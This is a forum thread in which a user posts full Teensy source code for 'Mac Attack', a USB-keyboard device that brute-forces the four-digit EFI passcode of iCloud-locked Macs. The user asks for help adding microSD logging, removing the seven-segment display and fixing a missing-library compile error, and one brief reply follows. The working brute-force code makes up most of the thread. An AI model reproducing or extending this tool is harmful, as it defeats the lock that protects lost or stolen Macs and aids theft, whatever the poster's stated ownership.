Brute Force with Teensy 3.6 need help changing it


Rendering Error in layout Widget/Social: Call to a member function exists() on null. Please enable debug mode for more information.
More
7 years 2 months ago - 7 years 2 months ago #6442 by SimpleJustice
Ok so I got help fixing the original EFI Brute Force code I was using, but now I had issue I had to reboot the computer and its locked again because I forgot to have a way to retrieve the code once it was done with the Brute Force Attack. Well I don't really know to much about programming the Teensy I actually just started Learning as of the past week. But I find it interesting and want to learn all I can but realized resources for the Teensy 3.6 are slim. Thats why I am asking help for my idea, even if all I get is get pointed to the right resources or anything I would be truly grateful. Thanks again...

So my idea, the Teensy 3.6 comes with a microSD card slot, more processor power, and way more connections; how hard would it be to modify the code (thaGh05T) wrote to save the password to the microSD card instead of the EEPROM? That way you can just put it in your computer and read the code. And if its not something easy to do, how do I setup the address for the EEPROM? As I said I am new really need help.

I also want to eliminate the screen, I just want the LED to flash, because one I don't have a screen and two I don't think I really need one especially if I can get it to write to the microSD card slot.
Lastly for some reasons the codes that I find online never compile accept the one (CygnusX1) cleaned up for me here:
( ghostlyhaks.com/forum/apple-efi/824-help-with-brute-force-efi-with-teensy-3-6#6432 )
Only problem with that code is it does not save the code as I said earlier.

So what I am asking help with is
1) Can I make the attached code save the EFI code to the microSD card slot instead of the EEPROM? If so how?
2) How can I eliminate the display and make it just use the built in LED on the Teensy 3.6?
3) How do I fix the code so I quit getting compiling errors?

I will attach the code from thaGH05T down below and I will also attach the error I got when trying to compile the program.

THANKS AGAIN FOR ALL THE HELP.


/*******************************************************************************************\
| TITLE: Mac Attack DATE: 1/27/2016 MODIFIED: 3/13/2016 |
| AUTHOUR: John Neal ALIAS: thaGH05T |
|
|
| LICENCE: This work is licensed under the Creative |
| Commons Attribution-ShareAlike 4.0 International License. To view a copy of this license, |
| visit creativecommons.org/licenses/by-sa/4.0/ . |
|
|
| DESCRIPTION: This sketch will methodically brute force the EFI passcode of a Mac if it |
| has been locked down by iCloud and the EFI passcode has not been previousely set. |
| Additioonally it is able to detect when the correct code has been entered by using an LDR.|
|
|
| TO-DO: Add common 4 digit codes as well as birthdate ranges. Add buttons for quick |
| variable setting. Port over to LCD for usability and versatility of configuration and |
| attack methods. |
\*******************************************************************************************/

/*******************************************************************************************\
| WARNING: This sketch potentially writes 10,000 times to a single address of memory. |
| Each address can become unreadable after 100,000 writes, so it is recommended that you |
| change saveAddress before each use. |
\*******************************************************************************************/
#include <usb_keyboard.h>
#include <SevSeg.h>
#include <EEPROM.h>

const int readPin = A0; // Analog read pin of the LDR.
const int ledPin = 13; // Led Pin, 13 on Teensy 3.1.
const char* digits = "%04d"; // sprintf() format, %04d = 4 digits.
int bfDigits = 9999; // Brute force eventuallity, how hight to count.
int iterDelay = 14000; // Iteration delay, adjust as needed.
int lightThresh = 100; // Threshold of LDR, depends on resistor value.
int saveAddress = 1337; // Addrress where the last entered digit is stored.
byte numDigits = 4; // Number of digits your 7 segment display has.
byte digitPins[] = {9, 10, 11, 12}; // Digit pins, has to be in order from first to last digit.
byte segmentPins[] = {1, 2, 3, 4, 5, 6, 7, 8}; // Segment pins, has to be in order from A to G. Last array object should be the "." dot.
char code[4]; // Define the how many digits are in the code array. (change this to the count of bfGigits)
int setupDelay = 5000; // This is the time in millisecons that the EFI code or last number entered will be displayed as well as how -->
// long the initial countdown to start brute forcing will be.
SevSeg sevseg; //Instantiate a seven segment object.

void setup() {
sevseg.begin(COMMON_ANODE, numDigits, digitPins, segmentPins);
sevseg.setBrightness(10);
keyboard_modifier_keys = 0;
pinMode(ledPin, OUTPUT);
//Serial.begin(9600); // Begin serial if calibrating lightThresh.

int efiStartTime = millis();
int efiEndTime = efiStartTime;
int savedEFI = readWord(saveAddress);
while ((efiEndTime - efiStartTime) <= setupDelay){
sevseg.setNumber(savedEFI,5);
sevseg.refreshDisplay();
efiEndTime = millis();
}
}

int bfCount = 0; //readWord(saveAddress); // Determines where to start the brute force count. "0" To begin BF, "readWord(saveAddress)" to start from power failure.
int doOnce = 1;

void loop(){
if (doOnce == 1){
int startTime = millis();
int endTime = startTime;
while ((endTime - startTime) <= setupDelay + 10){
int delayMath = endTime / 1000 - 10;
int modDelay = delayMath * -1;
sevseg.setNumber(modDelay,5);
sevseg.refreshDisplay();
endTime = millis();
}
doOnce = 0;
}

int lightVal = analogRead(readPin);
//Serial.println(lightVal); // Print LDR value to serial to manually determine lightThresh.
if (lightVal < lightThresh){
if (bfCount <= bfDigits){
sprintf(code, digits, bfCount);
for (int i=0; i < 4; i++){
digitalWrite(ledPin, HIGH);
Keyboard.press(code);
delay(200);
digitalWrite(ledPin, LOW);
Keyboard.release(code);
delay(200);
}
Keyboard.press(KEY_ENTER);
delay(200);
Keyboard.release(KEY_ENTER);

int startTime = millis();
int endTime = startTime;
while ((endTime - startTime) <= iterDelay){
sevseg.setNumber(bfCount,5);
sevseg.refreshDisplay();
endTime = millis();
}
bfCount++;
writeWord(saveAddress, bfCount);
}
else if (bfCount > bfDigits){
while (1){
for (int i=0; i < 3; i++){
digitalWrite(ledPin, HIGH);
delay(100);
digitalWrite(ledPin, LOW);
delay(100);
}
delay(500);
}
}
}
else if (lightVal > lightThresh){
writeWord(saveAddress, bfCount);
while (1){
sevseg.setNumber(bfCount,5);
sevseg.refreshDisplay();
}
}
}

void writeWord(unsigned address, unsigned value){
EEPROM.write(address, highByte(value));
EEPROM.write(address+1, lowByte(value));
}

unsigned readWord(unsigned address){
return word(EEPROM.read(address), EEPROM.read(address+1));
}
______________________________________________________________________________________
Here is the error I get when I try to compile too, I know I need to change and fix it to do what I want but just wanted to see if it compile.

Arduino: 1.8.1 (Mac OS X), TD: 1.35, Board: "Teensy 3.6, Keyboard + Mouse + Joystick, 180 MHz, Fast, US English"

/Users/imrebgazso/Documents/Arduino/EFI_BRUTE_FORCE_WITH_SAVE_/EFI_BRUTE_FORCE_WITH_SAVE_.ino:25:20: fatal error: SevSeg.h: No such file or directory
#include <SevSeg.h>
^
compilation terminated.
Error compiling for board Teensy 3.6.

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.


Thanks again sorry I am new and really need help. I not only wanna learn but also really need to get the laptop working because I need it for college.
Attachments:
Last edit: 7 years 2 months ago by CygnusX1.

Please Log in or Create an account to join the conversation.

More
7 years 1 month ago #6525 by Celhack
Check your arduino setup because this error is about a library sevseg.h, I dunno if this library is personal wrote by thaGhost or is arduino library.

About eeprom address is declare on top of code as int.

Please Log in or Create an account to join the conversation.

Who's Online

We have 775 guests and no members online

N00BZ

  • ljamal
  • ljamal74
  • mikeg2atest
  • ducchinhbui
  • anjarezt

Cookies